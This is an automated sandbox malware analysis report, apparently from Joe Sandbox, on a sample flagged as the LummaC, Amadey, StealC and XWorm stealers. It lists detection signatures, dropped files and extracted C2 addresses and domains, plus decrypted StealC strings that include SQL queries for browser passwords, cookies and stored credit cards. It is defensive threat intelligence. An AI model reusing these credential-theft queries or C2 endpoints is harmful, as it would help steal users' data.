Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1546222
MD5: 530a022b7017267fd62d1e4ce7f4c664
SHA1: 38e5ea8ace462e57fc09cf5274cc37c3677fb901
SHA256: f201f32100b7608bf51f76c90e15f3c29013905b79b7b4576aab6431005c8606
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Drops PE files to the user root directory
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Protects its processes via BreakOnTermination flag
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Creates job files (autostart)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Startup Folder File Write
Sigma detected: Use Short Name Path in Command Line
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
XWorm Malware with wide range of capabilities ranging from RAT to ransomware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\XC.exe Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Avira: detection malicious, Label: HEUR/AGEN.1305769
Found malware configuration
Source: 0000000B.00000002.1563574825.0000000000511000.00000040.00000001.01000000.00000007.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 40.0.num.exe.580000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 17.0.XC.exe.d20000.0.unpack Malware Configuration Extractor: Xworm {"C2 url": ["didjmdk3nindi3nd.zapto.org", "70.241.39.14"], "Port": "7000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}
Source: 44f3ff7773.exe.316.18.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "founpiuer.store", "necklacedmny.store", "crisiwarny.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe ReversingLabs: Detection: 95%
Source: C:\Users\user\XC.exe ReversingLabs: Detection: 95%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 44%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\XC.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 40.0.num.exe.580000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 40.0.num.exe.580000.0.unpack String decryptor: 30
Source: 40.0.num.exe.580000.0.unpack String decryptor: 11
Source: 40.0.num.exe.580000.0.unpack String decryptor: 20
Source: 40.0.num.exe.580000.0.unpack String decryptor: 24
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetProcAddress
Source: 40.0.num.exe.580000.0.unpack String decryptor: LoadLibraryA
Source: 40.0.num.exe.580000.0.unpack String decryptor: lstrcatA
Source: 40.0.num.exe.580000.0.unpack String decryptor: OpenEventA
Source: 40.0.num.exe.580000.0.unpack String decryptor: CreateEventA
Source: 40.0.num.exe.580000.0.unpack String decryptor: CloseHandle
Source: 40.0.num.exe.580000.0.unpack String decryptor: Sleep
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetUserDefaultLangID
Source: 40.0.num.exe.580000.0.unpack String decryptor: VirtualAllocExNuma
Source: 40.0.num.exe.580000.0.unpack String decryptor: VirtualFree
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetSystemInfo
Source: 40.0.num.exe.580000.0.unpack String decryptor: VirtualAlloc
Source: 40.0.num.exe.580000.0.unpack String decryptor: HeapAlloc
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetComputerNameA
Source: 40.0.num.exe.580000.0.unpack String decryptor: lstrcpyA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetProcessHeap
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetCurrentProcess
Source: 40.0.num.exe.580000.0.unpack String decryptor: lstrlenA
Source: 40.0.num.exe.580000.0.unpack String decryptor: ExitProcess
Source: 40.0.num.exe.580000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetSystemTime
Source: 40.0.num.exe.580000.0.unpack String decryptor: SystemTimeToFileTime
Source: 40.0.num.exe.580000.0.unpack String decryptor: advapi32.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: gdi32.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: user32.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: crypt32.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: ntdll.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetUserNameA
Source: 40.0.num.exe.580000.0.unpack String decryptor: CreateDCA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetDeviceCaps
Source: 40.0.num.exe.580000.0.unpack String decryptor: ReleaseDC
Source: 40.0.num.exe.580000.0.unpack String decryptor: CryptStringToBinaryA
Source: 40.0.num.exe.580000.0.unpack String decryptor: sscanf
Source: 40.0.num.exe.580000.0.unpack String decryptor: VMwareVMware
Source: 40.0.num.exe.580000.0.unpack String decryptor: HAL9TH
Source: 40.0.num.exe.580000.0.unpack String decryptor: JohnDoe
Source: 40.0.num.exe.580000.0.unpack String decryptor: DISPLAY
Source: 40.0.num.exe.580000.0.unpack String decryptor: %hu/%hu/%hu
Source: 40.0.num.exe.580000.0.unpack String decryptor: http://185.215.113.206
Source: 40.0.num.exe.580000.0.unpack String decryptor: bksvnsj
Source: 40.0.num.exe.580000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 40.0.num.exe.580000.0.unpack String decryptor: /746f34465cf17784/
Source: 40.0.num.exe.580000.0.unpack String decryptor: tale
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetFileAttributesA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GlobalLock
Source: 40.0.num.exe.580000.0.unpack String decryptor: HeapFree
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetFileSize
Source: 40.0.num.exe.580000.0.unpack String decryptor: GlobalSize
Source: 40.0.num.exe.580000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 40.0.num.exe.580000.0.unpack String decryptor: IsWow64Process
Source: 40.0.num.exe.580000.0.unpack String decryptor: Process32Next
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetLocalTime
Source: 40.0.num.exe.580000.0.unpack String decryptor: FreeLibrary
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetTimeZoneInformation
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetSystemPowerStatus
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetVolumeInformationA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 40.0.num.exe.580000.0.unpack String decryptor: Process32First
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetLocaleInfoA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetModuleFileNameA
Source: 40.0.num.exe.580000.0.unpack String decryptor: DeleteFileA
Source: 40.0.num.exe.580000.0.unpack String decryptor: FindNextFileA
Source: 40.0.num.exe.580000.0.unpack String decryptor: LocalFree
Source: 40.0.num.exe.580000.0.unpack String decryptor: FindClose
Source: 40.0.num.exe.580000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 40.0.num.exe.580000.0.unpack String decryptor: LocalAlloc
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetFileSizeEx
Source: 40.0.num.exe.580000.0.unpack String decryptor: ReadFile
Source: 40.0.num.exe.580000.0.unpack String decryptor: SetFilePointer
Source: 40.0.num.exe.580000.0.unpack String decryptor: WriteFile
Source: 40.0.num.exe.580000.0.unpack String decryptor: CreateFileA
Source: 40.0.num.exe.580000.0.unpack String decryptor: FindFirstFileA
Source: 40.0.num.exe.580000.0.unpack String decryptor: CopyFileA
Source: 40.0.num.exe.580000.0.unpack String decryptor: VirtualProtect
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetLastError
Source: 40.0.num.exe.580000.0.unpack String decryptor: lstrcpynA
Source: 40.0.num.exe.580000.0.unpack String decryptor: MultiByteToWideChar
Source: 40.0.num.exe.580000.0.unpack String decryptor: GlobalFree
Source: 40.0.num.exe.580000.0.unpack String decryptor: WideCharToMultiByte
Source: 40.0.num.exe.580000.0.unpack String decryptor: GlobalAlloc
Source: 40.0.num.exe.580000.0.unpack String decryptor: OpenProcess
Source: 40.0.num.exe.580000.0.unpack String decryptor: TerminateProcess
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetCurrentProcessId
Source: 40.0.num.exe.580000.0.unpack String decryptor: gdiplus.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: ole32.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: bcrypt.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: wininet.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: shlwapi.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: shell32.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: psapi.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: rstrtmgr.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 40.0.num.exe.580000.0.unpack String decryptor: SelectObject
Source: 40.0.num.exe.580000.0.unpack String decryptor: BitBlt
Source: 40.0.num.exe.580000.0.unpack String decryptor: DeleteObject
Source: 40.0.num.exe.580000.0.unpack String decryptor: CreateCompatibleDC
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdipGetImageEncoders
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdiplusStartup
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdiplusShutdown
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdipSaveImageToStream
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdipDisposeImage
Source: 40.0.num.exe.580000.0.unpack String decryptor: GdipFree
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetHGlobalFromStream
Source: 40.0.num.exe.580000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 40.0.num.exe.580000.0.unpack String decryptor: CoUninitialize
Source: 40.0.num.exe.580000.0.unpack String decryptor: CoInitialize
Source: 40.0.num.exe.580000.0.unpack String decryptor: CoCreateInstance
Source: 40.0.num.exe.580000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 40.0.num.exe.580000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 40.0.num.exe.580000.0.unpack String decryptor: BCryptDecrypt
Source: 40.0.num.exe.580000.0.unpack String decryptor: BCryptSetProperty
Source: 40.0.num.exe.580000.0.unpack String decryptor: BCryptDestroyKey
Source: 40.0.num.exe.580000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetWindowRect
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetDesktopWindow
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetDC
Source: 40.0.num.exe.580000.0.unpack String decryptor: CloseWindow
Source: 40.0.num.exe.580000.0.unpack String decryptor: wsprintfA
Source: 40.0.num.exe.580000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 40.0.num.exe.580000.0.unpack String decryptor: CharToOemW
Source: 40.0.num.exe.580000.0.unpack String decryptor: wsprintfW
Source: 40.0.num.exe.580000.0.unpack String decryptor: RegQueryValueExA
Source: 40.0.num.exe.580000.0.unpack String decryptor: RegEnumKeyExA
Source: 40.0.num.exe.580000.0.unpack String decryptor: RegOpenKeyExA
Source: 40.0.num.exe.580000.0.unpack String decryptor: RegCloseKey
Source: 40.0.num.exe.580000.0.unpack String decryptor: RegEnumValueA
Source: 40.0.num.exe.580000.0.unpack String decryptor: CryptBinaryToStringA
Source: 40.0.num.exe.580000.0.unpack String decryptor: CryptUnprotectData
Source: 40.0.num.exe.580000.0.unpack String decryptor: SHGetFolderPathA
Source: 40.0.num.exe.580000.0.unpack String decryptor: ShellExecuteExA
Source: 40.0.num.exe.580000.0.unpack String decryptor: InternetOpenUrlA
Source: 40.0.num.exe.580000.0.unpack String decryptor: InternetConnectA
Source: 40.0.num.exe.580000.0.unpack String decryptor: InternetCloseHandle
Source: 40.0.num.exe.580000.0.unpack String decryptor: InternetOpenA
Source: 40.0.num.exe.580000.0.unpack String decryptor: HttpSendRequestA
Source: 40.0.num.exe.580000.0.unpack String decryptor: HttpOpenRequestA
Source: 40.0.num.exe.580000.0.unpack String decryptor: InternetReadFile
Source: 40.0.num.exe.580000.0.unpack String decryptor: InternetCrackUrlA
Source: 40.0.num.exe.580000.0.unpack String decryptor: StrCmpCA
Source: 40.0.num.exe.580000.0.unpack String decryptor: StrStrA
Source: 40.0.num.exe.580000.0.unpack String decryptor: StrCmpCW
Source: 40.0.num.exe.580000.0.unpack String decryptor: PathMatchSpecA
Source: 40.0.num.exe.580000.0.unpack String decryptor: GetModuleFileNameExA
Source: 40.0.num.exe.580000.0.unpack String decryptor: RmStartSession
Source: 40.0.num.exe.580000.0.unpack String decryptor: RmRegisterResources
Source: 40.0.num.exe.580000.0.unpack String decryptor: RmGetList
Source: 40.0.num.exe.580000.0.unpack String decryptor: RmEndSession
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_open
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_step
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_column_text
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_finalize
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_close
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_column_bytes
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3_column_blob
Source: 40.0.num.exe.580000.0.unpack String decryptor: encrypted_key
Source: 40.0.num.exe.580000.0.unpack String decryptor: PATH
Source: 40.0.num.exe.580000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: NSS_Init
Source: 40.0.num.exe.580000.0.unpack String decryptor: NSS_Shutdown
Source: 40.0.num.exe.580000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 40.0.num.exe.580000.0.unpack String decryptor: PK11_FreeSlot
Source: 40.0.num.exe.580000.0.unpack String decryptor: PK11_Authenticate
Source: 40.0.num.exe.580000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 40.0.num.exe.580000.0.unpack String decryptor: C:\ProgramData\
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 40.0.num.exe.580000.0.unpack String decryptor: browser:
Source: 40.0.num.exe.580000.0.unpack String decryptor: profile:
Source: 40.0.num.exe.580000.0.unpack String decryptor: url:
Source: 40.0.num.exe.580000.0.unpack String decryptor: login:
Source: 40.0.num.exe.580000.0.unpack String decryptor: password:
Source: 40.0.num.exe.580000.0.unpack String decryptor: Opera
Source: 40.0.num.exe.580000.0.unpack String decryptor: OperaGX
Source: 40.0.num.exe.580000.0.unpack String decryptor: Network
Source: 40.0.num.exe.580000.0.unpack String decryptor: cookies
Source: 40.0.num.exe.580000.0.unpack String decryptor: .txt
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 40.0.num.exe.580000.0.unpack String decryptor: TRUE
Source: 40.0.num.exe.580000.0.unpack String decryptor: FALSE
Source: 40.0.num.exe.580000.0.unpack String decryptor: autofill
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 40.0.num.exe.580000.0.unpack String decryptor: history
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 40.0.num.exe.580000.0.unpack String decryptor: cc
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 40.0.num.exe.580000.0.unpack String decryptor: name:
Source: 40.0.num.exe.580000.0.unpack String decryptor: month:
Source: 40.0.num.exe.580000.0.unpack String decryptor: year:
Source: 40.0.num.exe.580000.0.unpack String decryptor: card:
Source: 40.0.num.exe.580000.0.unpack String decryptor: Cookies
Source: 40.0.num.exe.580000.0.unpack String decryptor: Login Data
Source: 40.0.num.exe.580000.0.unpack String decryptor: Web Data
Source: 40.0.num.exe.580000.0.unpack String decryptor: History
Source: 40.0.num.exe.580000.0.unpack String decryptor: logins.json
Source: 40.0.num.exe.580000.0.unpack String decryptor: formSubmitURL
Source: 40.0.num.exe.580000.0.unpack String decryptor: usernameField
Source: 40.0.num.exe.580000.0.unpack String decryptor: encryptedUsername
Source: 40.0.num.exe.580000.0.unpack String decryptor: encryptedPassword
Source: 40.0.num.exe.580000.0.unpack String decryptor: guid
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 40.0.num.exe.580000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 40.0.num.exe.580000.0.unpack String decryptor: cookies.sqlite
Source: 40.0.num.exe.580000.0.unpack String decryptor: formhistory.sqlite
Source: 40.0.num.exe.580000.0.unpack String decryptor: places.sqlite
Source: 40.0.num.exe.580000.0.unpack String decryptor: plugins
Source: 40.0.num.exe.580000.0.unpack String decryptor: Local Extension Settings
Source: 40.0.num.exe.580000.0.unpack String decryptor: Sync Extension Settings
Source: 40.0.num.exe.580000.0.unpack String decryptor: IndexedDB
Source: 40.0.num.exe.580000.0.unpack String decryptor: Opera Stable
Source: 40.0.num.exe.580000.0.unpack String decryptor: Opera GX Stable
Source: 40.0.num.exe.580000.0.unpack String decryptor: CURRENT
Source: 40.0.num.exe.580000.0.unpack String decryptor: chrome-extension_
Source: 40.0.num.exe.580000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 40.0.num.exe.580000.0.unpack String decryptor: Local State
Source: 40.0.num.exe.580000.0.unpack String decryptor: profiles.ini
Source: 40.0.num.exe.580000.0.unpack String decryptor: chrome
Source: 40.0.num.exe.580000.0.unpack String decryptor: opera
Source: 40.0.num.exe.580000.0.unpack String decryptor: firefox
Source: 40.0.num.exe.580000.0.unpack String decryptor: wallets
Source: 40.0.num.exe.580000.0.unpack String decryptor: %08lX%04lX%lu
Source: 40.0.num.exe.580000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 40.0.num.exe.580000.0.unpack String decryptor: ProductName
Source: 40.0.num.exe.580000.0.unpack String decryptor: x32
Source: 40.0.num.exe.580000.0.unpack String decryptor: x64
Source: 40.0.num.exe.580000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 40.0.num.exe.580000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 40.0.num.exe.580000.0.unpack String decryptor: ProcessorNameString
Source: 40.0.num.exe.580000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 40.0.num.exe.580000.0.unpack String decryptor: DisplayName
Source: 40.0.num.exe.580000.0.unpack String decryptor: DisplayVersion
Source: 40.0.num.exe.580000.0.unpack String decryptor: Network Info:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - IP: IP?
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Country: ISO?
Source: 40.0.num.exe.580000.0.unpack String decryptor: System Summary:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - HWID:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - OS:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Architecture:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - UserName:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Computer Name:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Local Time:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - UTC:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Language:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Keyboards:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Laptop:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Running Path:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - CPU:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Threads:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - Cores:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - RAM:
